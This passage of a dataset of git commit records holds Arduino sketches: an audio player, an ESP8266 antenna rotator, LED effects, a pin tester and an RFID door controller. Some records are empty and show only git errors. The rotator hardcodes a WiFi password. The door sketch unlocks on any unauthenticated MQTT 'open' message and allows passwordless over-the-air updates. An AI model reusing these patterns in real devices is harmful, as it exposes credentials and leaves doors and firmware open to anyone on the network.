Audio.prepare(buffer, S, volume);\n \/\/ Feed samples to audio\n Audio.write(buffer, S);\n\n \/\/ Every 100 block print a '.'\n count++;\n if (count == 100) {\n Serial.print(\".\");\n count = 0;\n }\n }\n myFile.close();\n\n Serial.println(\"End of file. Thank you for listening!\");\n while (true) ;\n}\n\n","old_contents":"\/*\n Simple Audio Player\n\n Demonstrates the use of the Audio library for the Arduino Due\n \n Hardware required :\n * Arduino shield with a SD card on CS4\n * A sound file named \"test.wav\" in the root directory of the SD card \n * Speaker attched to ground and DAC0\n\n Original by Massimo Banzi September 20, 2012\n Modified by Scott Fitzgerald October 19, 2012\n \n This example code is in the public domain\n \n http:\/\/arduino.cc\/en\/Tutorial\/SimpleAudioPlayer\n\n*\/\n\n#include <SD.h>\n#include <SPI.h>\n#include <Audio.h>\n\nvoid setup()\n{\n \/\/ debug output at 9600 baud\n Serial.begin(9600);\n\n \/\/ setup SD-card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\" failed!\");\n return;\n }\n Serial.println(\" done.\");\n \/\/ hi-speed SPI transfers\n SPI.setClockDivider(4);\n\n \/\/ 44100Khz stereo => 88200 sample rate\n \/\/ 100 mSec of prebuffering.\n Audio.begin(88200, 100);\n}\n\nvoid loop()\n{\n int count=0;\n\n \/\/ open wave file from sdcard\n File myFile = SD.open(\"test.wav\");\n if (!myFile) {\n \/\/ if the file didn't open, print an error and stop\n Serial.println(\"error opening test.wav\");\n while (true);\n }\n\n const int S=1024; \/\/ Number of samples to read in block\n short buffer[S];\n\n Serial.print(\"Playing\");\n \/\/ until the file is not finished\n while (myFile.available()) {\n \/\/ read from the file into buffer\n myFile.read(buffer, sizeof(buffer));\n\n \/\/ Prepare samples\n int volume = 1024;\n Audio.prepare(buffer, S, volume);\n \/\/ Feed samples to audio\n Audio.write(buffer, S);\n\n \/\/ Every 100 block print a '.'\n count++;\n if (count == 100) {\n Serial.print(\".\");\n count = 0;\n }\n }\n myFile.close();\n\n Serial.println(\"End of file. Thank you for listening!\");\n while (true) ;\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"457244f349d1ab4d235c92d20543a2b2e0526af4","subject":"Update MIDI_to_BLE-MIDI_nRF51822.ino","message":"Update MIDI_to_BLE-MIDI_nRF51822.ino","repos":"popcornell\/MIDIno,popcornell\/MIDIno","old_file":"MIDI_to_BLE-MIDI_bridge nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino","new_file":"MIDI_to_BLE-MIDI_bridge nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'MIDI_to_BLE-MIDI_bridge' did not match any file(s) known to git\nerror: pathspec 'nRF51822\/MIDI_to_BLE-MIDI_nRF51822.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbe63b12ffd75bd19392c032c15d9b4f3991cbdd","subject":"hmc5883l added","message":"hmc5883l added\n","repos":"coulisse\/IrOTator,coulisse\/esp8266Rotator,coulisse\/IrOTator,coulisse\/esp8266Rotator,coulisse\/IrOTator","old_file":"esp8266Rotator.ino","new_file":"esp8266Rotator.ino","new_contents":"\n\n\/* TODO:\n * - set output power\n * - sleep mode\n *\/\n\n#include <ESP8266WiFi.h>\n#include <Adafruit_HMC5883_U.h>\n#include <WebSocketsServer.h>\n#include <ArduinoJson.h>\n\n\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\nsensors_event_t event;\n\nWebSocketsServer webSocket = WebSocketsServer(81);\nconst char* ssid =\"hyperline-11635\";\nconst char* password = \"auj6xai6iN\";\n\n\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t lenght) {\nStaticJsonBuffer<200> jsonBuffer;\n\n switch(type) {\n \n case WStype_DISCONNECTED:\n break;\n \n case WStype_CONNECTED: {\n IPAddress ip = webSocket.remoteIP(num); \n }\n break;\n \n case WStype_TEXT: {\n String text = String((char *) &payload[0]);\n JsonObject& root = jsonBuffer.parseObject(text);\n if (!root.success()) {\n Serial.println(F(\"parseObject() failed\"));\n return;\n }\n \n const char* command = root[\"c\"];\n const char* value = root[\"v\"];\n const char* rc = root[\"r\"];\n \n doCommand(command);\n }\n\n break;\n\/* \n case WStype_BIN:\n \n hexdump(payload, lenght);\n\n \/\/ echo data back to browser\n webSocket.sendBIN(num, payload, lenght);\n break; *\/\n }\n}\n\nvoid setup() {\n \n Serial.begin(115200); \n \n WiFi.begin(ssid, password);\n\n while(WiFi.status() != WL_CONNECTED) {\n delay(500);\n }\n Serial.print(F(\"Local IP\"));\n Serial.println(WiFi.localIP());\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n\n\n Serial.println(\"HMC5883 Magnetometer Test\"); Serial.println(\"\");\n \n \/* Initialise the sensor *\/\n if(!mag.begin()) {\n \/* There was a problem detecting the HMC5883 ... check your connections *\/\n Serial.println(\"Ooops, no HMC5883 detected ... Check your wiring!\");\n while(1);\n }\n\n \/* Display some basic information on this sensor *\/\n displaySensorDetails();\n}\n\nvoid loop() {\n webSocket.loop();\n doCommand(\"getCompass\");\n delay(500); \/\/TODO: eliminare\n}\n\n\/*----------------------------------------------------\n parse command\n----------------------------------------------------*\/\nvoid doCommand(const char* command){\n\/\/{\"c\":\"getCompass\",\"v\":\"valore\",\"r\":\"return code\"}\nStaticJsonBuffer<200> jsonBuffer;\n\n char buffer[256];\n JsonObject& root = jsonBuffer.createObject();\n\n root[\"c\"] = command;\n root[\"v\"] = \"command unknown\";\n root[\"r\"] = 99;\n\n if (strcmp(command,\"getCompass\")==0) {\n root[\"v\"] = getCompass();\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"setCompass\")==0){\n root[\"v\"] = setCompass(2);\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"stopRotator\")==0){\n root[\"v\"] = stopRotator();\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"leftRotator\")==0){\n root[\"v\"] = leftRotator();\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"rightRotator\")==0){\n root[\"v\"] = rightRotator();\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"standBy\")==0){\n root[\"v\"] = standBy();\n root[\"r\"] = 0;\n } else {\n if (strcmp(command,\"reset\")==0){\n root[\"v\"] = standBy();\n root[\"r\"] = 0;\n }\n }}}}}}\n\n root.printTo(buffer, sizeof(buffer));\n webSocket.broadcastTXT(buffer);\n \/\/webSocket.sendTXT(channel,buffer);\n return;\n}\n\n\nint getCompass(){\n \n \/* Get a new sensor event *\/ \n \n mag.getEvent(&event);\n \n \/\/ Hold the module so that Z is pointing 'up' and you can measure the heading with x&y\n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n float heading = atan2(event.magnetic.y, event.magnetic.x);\n \n \/\/ Once you have your heading, you must then add your 'Declination Angle', which is the 'Error' of the magnetic field in your location.\n \/\/ Find yours here: http:\/\/www.magnetic-declination.com\/\n \/\/ Mine is: -13* 2' W, which is ~13 Degrees, or (which we need) 0.22 radians\n \/\/ If you cannot find your Declination, comment out these two lines, your compass will be slightly off.\n float declinationAngle = 0.22;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n float headingDegrees = heading * 180\/M_PI; \n \n Serial.print(\"Heading (degrees): \"); Serial.println(headingDegrees);\n \n return headingDegrees;\n}\n\nint setCompass(int degree){\n return 2;\n}\n\nint stopRotator(){\n return 3;\n}\n\nint leftRotator(){\n return 4;\n}\n\nint rightRotator(){\n return 5;\n}\n\nint standBy(){\n return 6;\n}\n\nint reset(){\n return 7;\n}\n\n\nvoid displaySensorDetails(void) {\n sensor_t sensor;\n mag.getSensor(&sensor);\n Serial.println(\"------------------------------------\");\n Serial.print (\"Sensor: \"); Serial.println(sensor.name);\n Serial.print (\"Driver Ver: \"); Serial.println(sensor.version);\n Serial.print (\"Unique ID: \"); Serial.println(sensor.sensor_id);\n Serial.print (\"Max Value: \"); Serial.print(sensor.max_value); Serial.println(\" uT\");\n Serial.print (\"Min Value: \"); Serial.print(sensor.min_value); Serial.println(\" uT\");\n Serial.print (\"Resolution: \"); Serial.print(sensor.resolution); Serial.println(\" uT\"); \n Serial.println(\"------------------------------------\");\n Serial.println(\"\");\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266Rotator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a48e6fdc6dbae961f3f6e48c015052a469fabd43","subject":"Agrego ejemplo de uso del sensor ultrasonida con delay.","message":"Agrego ejemplo de uso del sensor ultrasonida con delay.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/ultrasonic-sensor\/ultrasonic-sensor-delay\/ultrasonic-sensor-delay.ino","new_file":"pocs\/ultrasonic-sensor\/ultrasonic-sensor-delay\/ultrasonic-sensor-delay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ee343f81c03c0019c23efcd3661cf5ce9c21cb7a","subject":"Christmas tree","message":"Christmas tree\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"tree\/tree.ino","new_file":"tree\/tree.ino","new_contents":"#include \"FastLED.h\"\n#define qsubd(x, b) ((x>b)?255:0) \/\/ Digital unsigned subtraction macro. if result <0, then => 0. Otherwise, take on fixed value.\n#define qsuba(x, b) ((x>b)?x-b:0) \/\/ Analog Unsigned subtraction macro. if result <0, then => 0\n#define LED_DT 7 \/\/ Data pin to connect to the strip.\n#define COLOR_ORDER GRB \/\/ Are they RGB, GRB or what??\n#define LED_TYPE WS2812B \/\/ Don't forget to change LEDS.addLeds\nuint8_t max_bright = 255; \/\/ Overall brightness definition. It can be changed on the fly.\nunsigned long previousMillis; \/\/ Store last time the strip was updated.\nint hue = 50; \/\/ Starting hue.\nbool firstTimeRunningThroughPattern = true;\n\n#define NUM_LEDS 1130 \/\/ Number of LED's.\nstruct CRGB leds[NUM_LEDS]; \/\/ Initialize our LED array.\n\n\/\/ Elliott's dreadful upAndDownBy function.\nbool increasing = true;\nint upAndDownBy(int value, int difference) {\n if (value < 20 && increasing) {\n value += difference;\n } else if (value > 1) {\n value -= difference;\n increasing = false;\n } else {\n increasing = true;\n value += difference;\n }\n return value;\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(57600);\n LEDS.addLeds<LED_TYPE, LED_DT, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(max_bright);\n set_max_power_in_volts_and_milliamps(5, 10000);\n randomSeed(analogRead(0));\n delay(50);\n \/\/ Make the whole stick black on startup (helps with restarts).\n \/\/ TODO: Test this (untested code)\n for (int i=0; i<NUM_LEDS-1; i++) {\n leds[i] = CHSV(0, 0, 0);\n }\n}\n\nbool showingSnake = false;\nint snakeStart = 0;\nvoid snake(int every) {\n if (showingSnake) {\n leds[snakeStart] = CRGB(255, 0, 0);\n leds[snakeStart+1] = CRGB(255, 0, 0);\n snakeStart += 2;\n }\n if (snakeStart > NUM_LEDS) {\n snakeStart = 0;\n showingSnake = false;\n }\n EVERY_N_MILLISECONDS(every) {\n showingSnake = true;\n }\n}\n\nvoid beautifulSparkles() {\n fadeToBlackBy(leds, NUM_LEDS, 50);\n int numberOfSparkles = 12;\n for (int i = 0; i < numberOfSparkles \/ 3; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CRGB(255, 0, 0);\n }\n for (int i = 0; i < numberOfSparkles \/ 3; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CRGB(0, 255, 0);\n }\n for (int i = 0; i < numberOfSparkles \/ 3; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = CRGB(0, 0, 255);\n }\n}\n\nvoid loop() {\n EVERY_N_MILLISECONDS(100) {\n beautifulSparkles();\n }\n\/\/ snake(1000);\n show_at_max_brightness_for_power();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tree\/tree.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3e5af6a5746702740d36a306681d981b46f1f20","subject":"adding shield test program","message":"adding shield test program\n","repos":"TinkerUMD\/TinkerUMD","old_file":"Tests\/shield_v5\/shield_v5.ino","new_file":"Tests\/shield_v5\/shield_v5.ino","new_contents":"\n\/* Pin Checker for arduino uno\n By: Jake Rye\n \n General:\n This is used to check the functionality of all pins on the arduino uno. All digital pins are conncected to a 10k resistor running into a common GND, as well as a signal wire running \n into a common signal channel. The common signal channel is also connected to all analog in pins, and a disconnected red wire. The disconnected red wire will be manually plugged into the\n 3v, 5v, & GND when testing the digital pins reading ability. Since all the digital pins are connected to all the analog pins, we can use the analog pins to check the values of the digital\n output pins while simultaneously checking the functionality of the analog in pins. As all analog pins are connected to the common signal bus, we will have confidence in their communal \n readings and be able to observe if one analog pin is not functioning correctly. If none of the analog pins are functioning correctly, refer to the Notes section below. \n \n Instructions:\n 1. Disconnect white & red wires\n 2. Upload program\n 3. Connect white wire from signal channel (positive) to pin 0 channel\n 4. Open serial monitor\n A. Checking Digital Output: Expected serial output for pin 0 & 2-13\n I. First line: HIGH signal (30-40 after 10k resistor)\n II. Second line: LOW signal (0-5)\n B. Checking Digital Output: Expected serial output for pin 1\n I. Ignore all pin 1 data, if arduino is connected and talking to serial monitor then pin 1 works\n C. Checking Digital Input: General Readout\n I. Signal data is printed from pin 0 to 13 across the screen (ignore pin 1 data)\n II. Each new line is a new reading\n D. Using the red wire\n I. Plug red wire into 3V, 5V, then GND\n i. 3V should read 1's in every position except 1\n ii. 5V should read 1's in every position except 1\n iii. GND should read 0 everywhere\n 5. Disconnect red & white wires\n \n Notes:\n If analog pins do not seem to be functioning correctly, connect the red wire to the 3v, 5v, then GND pins during the checking digital output phase. \n*\/\n\n\/\/Global Variables\nint analog_pin[6];\nint digital_pin[14];\n\n\/\/Functions\nvoid analog_read() {\n for(int i=0;i<6;i++) {\n analog_pin[i] = analogRead(i);\n delay(50);\n }\n}\n\nvoid analog_print() {\n Serial.begin(9600);\n for(int i=0;i<6;i++) {\n Serial.print(analog_pin[i]);\n Serial.print(\" \");\n delay(50);\n }\n Serial.println(\" \");\n Serial.end();\n}\n\nvoid print_pin(int i) {\n Serial.begin(9600);\n Serial.print(\"Pin \");\n Serial.print(i);\n Serial.print(\": \");\n Serial.end();\n}\n\nvoid digital_read() {\n for(int i=0;i<14;i++) {\n pinMode(i,INPUT);\n digital_pin[i] = digitalRead(i);\n delay(50);\n }\n}\n\nvoid digital_print() {\n Serial.begin(9600);\n for(int i=0;i<14;i++) {\n Serial.print(digital_pin[i]);\n Serial.print(\" \");\n delay(50);\n }\n Serial.println(\" \");\n Serial.end();\n}\n\nvoid setup() {\n}\n\nvoid loop() {\n delay(500);\n Serial.begin(9600);\n Serial.println(\"Checking Output..\");\n Serial.println(\" Is WHITE connected to PIN 0???\");\n Serial.println(\" Ignore PIN 1 data\");\n Serial.end();\n \n \n \/\/Set digital pins to write\n for(int i=0;i<14;i++) {\n pinMode(i,OUTPUT);\n }\n \n \/\/Check digital output\n for(int i=0;i<14;i++) {\n digitalWrite(i,HIGH);\n analog_read();\n print_pin(i);\n analog_print();\n delay(100);\n digitalWrite(i,LOW);\n analog_read();\n print_pin(i);\n analog_print();\n delay(100);\n }\n \n \/\/Display change to checking digital input to user\n Serial.begin(9600);\n Serial.println(\"Checking Input..\");\n Serial.println(\" Use RED wire!!!\");\n Serial.end();\n \n \/\/Set digital pins to read\n for(int i=0;i<14;i++) {\n pinMode(i,INPUT);\n }\n \n \/\/Check analog output\n for(int i=0;i<10;i++) {\n digital_read();\n delay(100);\n digital_print();\n delay(300);\n }\n \n Serial.begin(9600);\n Serial.println(\" \");\n Serial.println(\" Remove RED wire\");\n Serial.end();\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/shield_v5\/shield_v5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"381a3eb054679cd6e614aa1596edbba3a7db550a","subject":"1:1 copie deur.","message":"1:1 copie deur.\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/spacedeur-asis-2017\/spacedeur-asis-2017.ino","new_file":"test\/PoE-test\/spacedeur-asis-2017\/spacedeur-asis-2017.ino","new_contents":"\/*\n This sketch shows the Ethernet event usage\n First light Aart 10-12-2017\n\n*\/\n\n#define ETH_PHY_ADDR 1\n#define ETH_PHY_MDC 23\n#define ETH_PHY_MDIO 18\n#define ETH_PHY_POWER 17\n#define ETH_PHY_TYPE ETH_PHY_LAN8720\n\n\/\/ Labeleing as per `blue' RFID MFRC522 - MSL 1471 'fixed'\n\/\/\n#define MFRC522_SDA (15)\n#define MFRC522_SCK (14)\n#define MFRC522_MOSI (13)\n#define MFRC522_MISO (12)\n#define MFRC522_IRQ (33)\n#define MFRC522_GND \/* gnd pin *\/\n#define MFRC522_RSTO (32)\n#define MFRC522_3V3 \/* 3v3 *\/\n\n#define MFRC522_SS MFRC522_SDA\n\n\/\/ Stepper motor\n#define STEPPER_DIR (0xFf)\n#define STEPPER_ENABLE (0xFf)\n#define STEPPER_STEP (0xFf)\n\n#define DOOR_CLOSED (0)\n#define DOOR_OPEN (1100)\n#define DOOR_OPEN_DELAY (10*1000)\n\ntypedef enum doorstates { CLOSED, OPENING, OPEN, CLOSING } doorstate_t;\ndoorstate_t doorstate;\nunsigned long long last_doorstatechange = 0;\n\n#include <ETH.h>\n#include <SPI.h>\n\n#include <ArduinoOTA.h>\n#include <AccelStepper.h>\n#include <PubSubClient.h>\n#include <MFRC522.h> \/\/ Requires modifed MFRC522 (see pull rq) or the -master branch as of late DEC 2017.\n\/\/ https:\/\/github.com\/miguelbalboa\/rfid.git\n\nSPIClass spirfid = SPIClass(VSPI);\nconst SPISettings spiSettings = SPISettings(SPI_CLOCK_DIV4, MSBFIRST, SPI_MODE0);\nMFRC522 mfrc522(MFRC522_SS, MFRC522_RSTO, &spirfid, spiSettings);\n\n\/\/ Marten denkt dat er een a4988 Pololu stepper inzit.\n\/\/\nclass PololuStepper : public AccelStepper\n{\n public:\n PololuStepper(uint8_t step_pin = 0xFF, uint8_t dir_pin = 0xFF, uint8_t enable_pin = 0xFF);\n};\n\nPololuStepper::PololuStepper(uint8_t step_pin, uint8_t dir_pin, uint8_t enable_pin)\n : AccelStepper(AccelStepper::DRIVER, step_pin, dir_pin)\n{\n pinMode(STEPPER_ENABLE, OUTPUT);\n digitalWrite(STEPPER_ENABLE, HIGH); \/\/ dis-able stepper first.\n setEnablePin(enable_pin);\n}\n\nPololuStepper stepper = PololuStepper(STEPPER_STEP, STEPPER_DIR, STEPPER_ENABLE);\n\n\nconst char mqtt_host[] = \"space.vijn.org\";\nconst unsigned short mqtt_port = 1883;\n\n#define PREFIX \"test\/\"\nconst char rfid_topic[] = PREFIX \"deur\/space2\/rfid\";\nconst char door_topic[] = PREFIX \"deur\/space2\/open\";\nconst char log_topic[] = PREFIX \"deur\/space2\/log\";\n\nstatic bool eth_connected = false;\n\nstatic bool ota = false;\nvoid enableOTA() {\n if (ota)\n return;\n\n \/\/ Port defaults to 3232\n \/\/ ArduinoOTA.setPort(3232);\n\n \/\/ Hostname defaults to esp3232-[MAC]\n \/\/ ArduinoOTA.setHostname(\"myesp32\");\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword(\"admin\");\n\n \/\/ Password can be set with it's md5 value as well\n \/\/ MD5(admin) = 21232f297a57a5a743894a0e4a801fc3\n \/\/ ArduinoOTA.setPasswordHash(\"21232f297a57a5a743894a0e4a801fc3\");\n\n\n ArduinoOTA.onStart([]() {\n String type;\n if (ArduinoOTA.getCommand() == U_FLASH)\n type = \"sketch\";\n else \/\/ U_SPIFFS\n type = \"filesystem\";\n\n \/\/ NOTE: if updating SPIFFS this would be the place to unmount SPIFFS using SPIFFS.end()\n Serial.println(\"Start updating \" + type);\n });\n\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n static int lp = -1 ;\n int p = progress \/ (total \/ 10);\n if (p != lp) Serial.printf(\"Progress: %u%%\\n\", p * 10);\n lp = p;\n });\n\n \/\/ Unfortunately - deep in OTA it auto defaults to Wifi. So we\n \/\/ force it to ETH -- requires pull RQ https:\/\/github.com\/espressif\/arduino-esp32\/issues\/944\n \/\/ and https:\/\/github.com\/espressif\/esp-idf\/issues\/1431.\n \/\/\n ArduinoOTA.begin(TCPIP_ADAPTER_IF_ETH);\n\n Serial.println(\"\\nOTA enabled.\\n\");\n ota = true;\n}\n\nvoid WiFiEvent(WiFiEvent_t event)\n{\n switch (event) {\n case SYSTEM_EVENT_ETH_START:\n Serial.println(\"ETH Started\");\n \/\/set eth hostname here\n ETH.setHostname(\"esp32-ethernet\");\n break;\n case SYSTEM_EVENT_ETH_CONNECTED:\n Serial.println(\"ETH Connected\");\n break;\n case SYSTEM_EVENT_ETH_GOT_IP:\n case SYSTEM_EVENT_STA_GOT_IP:\n Serial.print(\"ETH MAC: \");\n Serial.print(ETH.macAddress());\n Serial.print(\", IPv4: \");\n Serial.print(ETH.localIP());\n if (ETH.fullDuplex()) {\n Serial.print(\", FULL_DUPLEX\");\n }\n Serial.print(\", \");\n Serial.print(ETH.linkSpeed());\n Serial.printf(\"Mbps (event %d)\\n\", event);\n eth_connected = true;\n break;\n case SYSTEM_EVENT_ETH_DISCONNECTED:\n Serial.printf(\"ETH Disconnected (event %d)\\n\", event);\n eth_connected = false;\n break;\n case SYSTEM_EVENT_ETH_STOP:\n Serial.println(\"ETH Stopped\");\n eth_connected = false;\n break;\n default:\n Serial.printf(\"Unknown event %d\\n\", event);\n break;\n }\n}\n\nvoid testClient(const char * host, uint16_t port)\n{\n Serial.print(\"\\nconnecting to \");\n Serial.println(host);\n\n WiFiClient client;\n if (!client.connect(host, port)) {\n Serial.println(\"connection failed\");\n return;\n }\n client.printf(\"GET \/ HTTP\/1.1\\r\\nHost: %s\\r\\n\\r\\n\", host);\n while (client.connected() && !client.available());\n while (client.available()) {\n Serial.write(client.read());\n }\n\n Serial.println(\"closing connection\\n\");\n client.stop();\n}\n\nvolatile boolean irqCardSeen = false;\n\nvoid readCard() {\n irqCardSeen = true;\n}\n\n\/* The function sending to the MFRC522 the needed commands to activate the reception\n*\/\nvoid activateRec(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.FIFODataReg, mfrc522.PICC_CMD_REQA);\n mfrc522.PCD_WriteRegister(mfrc522.CommandReg, mfrc522.PCD_Transceive);\n mfrc522.PCD_WriteRegister(mfrc522.BitFramingReg, 0x87);\n}\n\n\/* The function to clear the pending interrupt bits after interrupt serving routine\n*\/\nvoid clearInt(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.ComIrqReg, 0x7F);\n}\n\n\nWiFiClient wifiClient;\nPubSubClient client(wifiClient);\n\nstatic long lastReconnectAttempt = 0;\nconst char * pname;\n\nboolean reconnect() {\n if (client.connect(pname ? pname : \"test-unit\")) {\n client.publish(log_topic, \"reconnected\");\n client.subscribe(door_topic);\n }\n return client.connected();\n}\n\nvoid setup()\n{\n pname = rindex(__FILE__, '\/');\n\n Serial.begin(115200);\n Serial.print(\"\\n\\n\\nStart \");\n Serial.print(pname);\n Serial.println(\" \" __DATE__ \" \" __TIME__);\n\n WiFi.onEvent(WiFiEvent);\n\n ETH.begin();\n\n Serial.println(\"SPI init\");\n spirfid.begin(MFRC522_SCK, MFRC522_MISO, MFRC522_MOSI, MFRC522_SS);\n\n Serial.printf(\"MFRC522 init SPI=%p spi=%p setting=%d\/%d\/%d\\n\", &SPI, &spirfid, spiSettings._clock, spiSettings._bitOrder, spiSettings._dataMode);\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n\n Serial.println(\"MFRC522 dump version\");\n mfrc522.PCD_DumpVersionToSerial(); \/\/ Show details of PCD - MFRC522 Card Reader details\n\n Serial.println(\"MFRC522 IRQ and callback setup.\");\n\n pinMode(MFRC522_IRQ, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(MFRC522_IRQ), readCard, FALLING);\n\n byte regVal = 0xA0; \/\/rx irq\n mfrc522.PCD_WriteRegister(mfrc522.ComIEnReg, regVal);\n\n Serial.println(\"Setting up MQTT\\n\");\n client.setServer(mqtt_host, mqtt_port);\n client.setCallback(callback);\n\n Serial.println(\"Setup of Stepper motor\");\n stepper.setMaxSpeed(100); \/\/ divide by 3 to get rpm\n stepper.setAcceleration(80);\n stepper.moveTo(DOOR_CLOSED);\n\n stepper.run();\n doorstate = CLOSED;\n last_doorstatechange = millis();\n\n Serial.println(\"setup() done\");\n}\n\nlong cnt_cards = 0, cnt_opens = 0, cnt_closes = 0, cnt_fails = 0, cnt_misreads = 0, cnt_minutes = 0;\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n char buff[256];\n\n if (strcmp(topic, door_topic)) {\n Serial.printf(\"Received an unexepcted %d byte message on topic <%s>, ignoring.\", length, topic);\n cnt_fails ++;\n return;\n };\n \n int l = 0;\n for (int i = 0; l < sizeof(buff) - 1 && i < length; i++) {\n char c = payload[i];\n if (c >= 32 && c < 128)\n buff[l++] = c;\n };\n buff[l] = 0;\n\n if (!strcmp(buff, \"open\")) {\n doorstate = OPENING;\n Serial.println(\"Opening door.\");\n\n stepper.moveTo(DOOR_OPEN);\n return;\n };\n\n snprintf(buff, sizeof(buff), \"Cannot parse reply <%s>[len=%d, payload len=%d] or denied access.\",\n buff, l, length);\n\n client.publish(log_topic, buff);\n Serial.println(buff);\n\n cnt_fails ++;\n}\n\nvoid loop()\n{\n bool is_moving = stepper.run();\n\n if (eth_connected) {\n if (ota)\n ArduinoOTA.handle();\n else\n enableOTA();\n\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n client.loop();\n }\n }\n static unsigned long tock = 0;\n\n static doorstate_t lastdoorstate = CLOSED;\n switch (doorstate) {\n case OPENING:\n if (!is_moving) {\n const char msg[] = \"Door is open.\";\n Serial.println(msg);\n client.publish(log_topic, msg);\n doorstate = OPEN;\n cnt_opens++;\n };\n break;\n case OPEN:\n if (millis() - last_doorstatechange > DOOR_OPEN_DELAY) {\n Serial.println(\"Closing door.\");\n stepper.moveTo(DOOR_CLOSED);\n doorstate = CLOSING;\n };\n case CLOSING:\n if (!is_moving) {\n const char msg[] = \"Door is closed.\";\n Serial.println(msg);\n client.publish(log_topic, msg);\n doorstate = CLOSED;\n cnt_closes++;\n };\n break;\n case CLOSED:\n default:\n break;\n };\n\n if (lastdoorstate != doorstate) {\n lastdoorstate = doorstate;\n last_doorstatechange = millis();\n }\n\n if (millis() - tock > 300 * 1000) {\n char buff[1024];\n cnt_minutes += ((millis() - tock) + 500) \/ 1000 \/ 60;\n\n snprintf(buff, sizeof(buff),\n \"alive - uptime %02ld:%02ld swipes %6ld, opens %6ld, closes %6ld, fails %6ld, misreads %6ld\",\n cnt_minutes \/ 12, (cnt_minutes % 12) * 5,\n cnt_cards,\n cnt_opens, cnt_closes, cnt_fails, cnt_misreads);\n client.publish(log_topic, buff);\n Serial.println(buff);\n tock = millis();\n }\n\n if (irqCardSeen) {\n if (mfrc522.PICC_ReadCardSerial()) {\n MFRC522::Uid uid = mfrc522.uid;\n cnt_cards++;\n\n String uidStr = \"\";\n for (int i = 0; i < uid.size; i++) {\n if (i) uidStr += \"-\";\n uidStr += String(uid.uidByte[i], DEC);\n };\n client.publish(rfid_topic, uidStr.c_str());\n client.publish(log_topic, uidStr.c_str());\n } else {\n Serial.println(\"Misread.\");\n cnt_misreads++;\n }\n mfrc522.PICC_HaltA(); \/\/ Stop reading\n\n clearInt(mfrc522);\n irqCardSeen = false;\n };\n\n \/\/ Re-arm\/retrigger the scanning regularly.\n {\n static unsigned long reminderToRead = 0;\n if (millis() - reminderToRead > 100) {\n activateRec(mfrc522);\n reminderToRead = millis();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/spacedeur-asis-2017\/spacedeur-asis-2017.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9b604d3808ce6992f1198d71af208d83a5d4578f","subject":"moved some paramteres to .h file","message":"moved some paramteres to .h 